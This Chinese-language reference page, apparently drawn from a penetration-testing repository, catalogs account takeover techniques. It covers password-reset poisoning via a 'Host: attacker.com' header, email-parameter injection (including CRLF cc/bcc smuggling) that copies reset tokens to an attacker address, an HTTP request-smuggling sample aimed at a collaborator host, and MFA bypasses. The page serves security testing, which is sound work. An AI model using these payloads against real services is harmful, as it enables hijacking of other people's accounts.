菜单

账户接管技术

相关源文件

目的与范围

本文档涵盖了用于在 Web 应用程序中未经授权访问用户帐户的方法和技术。它侧重于利用身份验证、密码重置机制和多因素身份验证 (MFA) 系统中的漏洞。有关 JWT 特定漏洞的信息,请参阅JSON Web Token (JWT) 攻击

账户接管向量概述

账户接管 (ATO) 攻击利用身份验证和账户管理系统中的弱点。主要攻击向量可分为三类

来源: Account Takeover/README.md3-20 Account Takeover/mfa-bypass.md3-4

密码重置漏洞

密码重置功能通常包含可被利用来接管账户的漏洞。这些漏洞通常发生在令牌生成、传递或验证过程中。

密码重置攻击流程

来源: Account Takeover/README.md22-121

常见密码重置漏洞

漏洞描述攻击方法
令牌通过 Referer 泄露重置令牌在 Referer 标头中泄露拦截从重置页面到第三方网站的请求
重置毒化Host 标头操纵导致重置链接指向攻击者域修改重置请求中的 Host、X-Forwarded-Host 标头
邮箱参数操纵接受多种邮箱格式使用 email=victim@mail.com,attacker@mail.com 或数组语法
API 中的 IDOR密码 API 中没有适当的授权修改请求中的用户标识符以针对受害者
弱令牌生成可预测的重置令牌基于用户数据或时间戳分析令牌模式
用户名冲突用户名规范化问题注册带有空格的相似用户名(例如,“admin ”)
Unicode 规范化字符映射问题使用相似的 Unicode 字符进行注册

来源: Account Takeover/README.md24-121

密码重置令牌通过 Referer 泄露

当用户点击密码重置链接然后导航到第三方网站(如社交媒体链接)时,密码重置令牌可能会在 Referer 标头中泄露。

攻击步骤

  1. 请求重置受害者邮箱的密码
  2. 点击密码重置链接
  3. 不修改密码,点击页面上的任何第三方链接
  4. 拦截请求以检查 referer 标头是否包含重置令牌

来源: Account Takeover/README.md24-31

账户接管通过密码重置毒化

此攻击操纵 HTTP 标头,将密码重置电子邮件重定向到攻击者控制的域。

攻击步骤

  1. 拦截密码重置请求
  2. 添加或修改标头,如 Host: attacker.comX-Forwarded-Host: attacker.com
  3. 应用程序可能会使用提供的 host 生成密码重置链接
  4. 收集发送到攻击者域的令牌

请求示例

POST https://example.com/reset.php HTTP/1.1
Accept: */*
Content-Type: application/json
Host: attacker.com

来源: Account Takeover/README.md33-47

通过邮箱参数操纵进行密码重置

许多应用程序接受邮箱参数的各种格式,这可以被利用来接收重置令牌的副本。

常见操纵技术

# Parameter pollution
email=victim@mail.com&email=hacker@mail.com

# Array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# Carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# Separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

来源: Account Takeover/README.md48-65

API 参数中的 IDOR

密码更改 API 中不安全的直接对象引用允许攻击者更改其他用户的密码。

攻击步骤

  1. 使用攻击者账户登录并导航到密码更改功能
  2. 使用 Burp Suite 等代理工具拦截请求
  3. 修改用户标识符(邮箱/ID)以针对受害者的账户

易受攻击的示例请求

POST /api/changepass
[...]
("form": {"email":"victim@email.com","password":"securepwd"})

来源: Account Takeover/README.md67-78

弱密码重置令牌

弱令牌生成算法可能创建可预测或可猜测的令牌。经常导致令牌可预测的因素

  • 基于时间戳的生成
  • 包含用户 ID
  • 邮箱地址编码
  • 姓名/传记数据
  • 令牌长度短
  • 缺乏令牌过期
  • 令牌重用

来源: Account Takeover/README.md79-94

泄露密码重置令牌

一些应用程序可能会在 API 响应中泄露重置令牌

  1. 触发受害者邮箱的密码重置
  2. 检查服务器响应是否直接包含令牌
  3. 使用令牌完成密码重置过程

来源: Account Takeover/README.md95-99

用户名冲突导致的账户接管

用户名规范化不当的应用程序可能允许攻击者注册带有额外空格的相似用户名。

攻击步骤

  1. 注册一个用户名与受害者相似但带有额外空格的账户(例如,“admin ”)
  2. 请求重置该账户的密码
  3. 使用令牌重置受害者的密码

此漏洞已在 CTFd 中发现 (CVE-2020-7245)。

来源: Account Takeover/README.md101-109

因 Unicode 规范化问题导致的账户接管

Unicode 字符规范化在处理用户名或邮箱地址时可能导致意外行为。

示例

  • 受害者账户: demo@gmail.com
  • 攻击者账户: demⓞ@gmail.com (使用 Unicode 字符 'ⓞ')

应用程序在身份验证和密码重置过程中可能对此进行不同的规范化。

来源: Account Takeover/README.md111-121

通过 Web 漏洞进行的账户接管

各种 Web 应用程序漏洞可用于实现账户接管。这些攻击通常利用会话管理或输入验证缺陷。

来源: Account Takeover/README.md122-180

通过跨站脚本进行的账户接管

XSS 漏洞可用于窃取会话 Cookie 并接管账户

  1. 在应用程序或子域中查找 XSS 漏洞(特别是如果 Cookie 作用域为 *.domain.com
  2. 使用 XSS 泄露受害者的会话 Cookie
  3. 使用窃取的 Cookie 以受害者身份进行身份验证

来源: Account Takeover/README.md124-129

通过 HTTP 请求走私进行的账户接管

HTTP 请求走私可能导致通过响应/请求队列毒化进行账户接管

  1. 检测 HTTP 请求走私漏洞 (CL.TE, TE.CL, 等)
  2. 构建一个会覆盖或前置到另一个用户请求的请求
  3. 捕获受害者的会话令牌或操纵其会话

走私请求示例

GET /  HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83

0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

来源: Account Takeover/README.md130-168

通过 CSRF 进行的账户接管

CSRF 漏洞可被利用来代表受害者执行操作

  1. 创建针对账户修改功能的 CSRF 有效载荷
  2. 诱骗受害者访问包含有效载荷的页面
  3. 受害者的浏览器自动使用其身份验证执行请求

用于账户接管的常见 CSRF 目标包括密码更改、邮箱更改和安全设置修改。

来源: Account Takeover/README.md169-173

通过 JWT 进行的账户接管

JSON Web Tokens (JWT) 可能包含允许账户接管的漏洞

  1. 修改 JWT 有效载荷以更改用户标识符
  2. 利用弱签名算法
  3. 篡改令牌结构

有关详细的 JWT 攻击技术,请参阅JWT 攻击

来源: Account Takeover/README.md174-180

MFA 绕过技术

多因素身份验证 (MFA) 系统可能包含允许攻击者绕过额外安全层的实现缺陷。

来源: Account Takeover/mfa-bypass.md6-99

响应和状态码操纵

MFA 实现可能依赖于客户端的响应验证,这可能会被操纵

  1. 将响应参数(如 "success":false)修改为 "success":true
  2. 将 HTTP 状态码从错误(4xx)更改为成功(200)

来源: Account Takeover/mfa-bypass.md26-34

2FA 码泄露和分析

双因素身份验证码可能通过各种方式泄露

  1. API 响应可能包含验证码
  2. JavaScript 文件可能包含验证逻辑或硬编码值
  3. 应用程序可能允许代码重用而没有适当的验证

来源: Account Takeover/mfa-bypass.md35-46

暴力破解和完整性验证问题

弱实现可能允许暴力破解或绕过代码验证

  1. 缺少速率限制允许无限次尝试代码
  2. 缺少完整性验证,允许使用其他账户的代码
  3. null000000 这样的特殊值可能在没有验证的情况下被接受
  4. 提交一个代码数组可能会导致其中一个被接受

示例数组提交

来源: Account Takeover/mfa-bypass.md47-99

MFA禁用技术

几种攻击针对 MFA 禁用功能

  1. MFA 禁用端点的 CSRF 漏洞
  2. 自动禁用 MFA 的密码重置流程
  3. MFA 配置页面上的点击劫持攻击
  4. 利用备用代码绕过 MFA

来源: Account Takeover/mfa-bypass.md56-71

会话管理漏洞

会话处理问题可能会削弱 MFA 保护

  1. 启用 MFA 可能不会使现有会话失效
  2. 强制浏览跳过 MFA 验证页面(例如,将 URL 中的 /2fa/verify 替换为 /my-account

来源: Account Takeover/mfa-bypass.md72-79

参考文献和进一步阅读

来源: Account Takeover/README.md181-188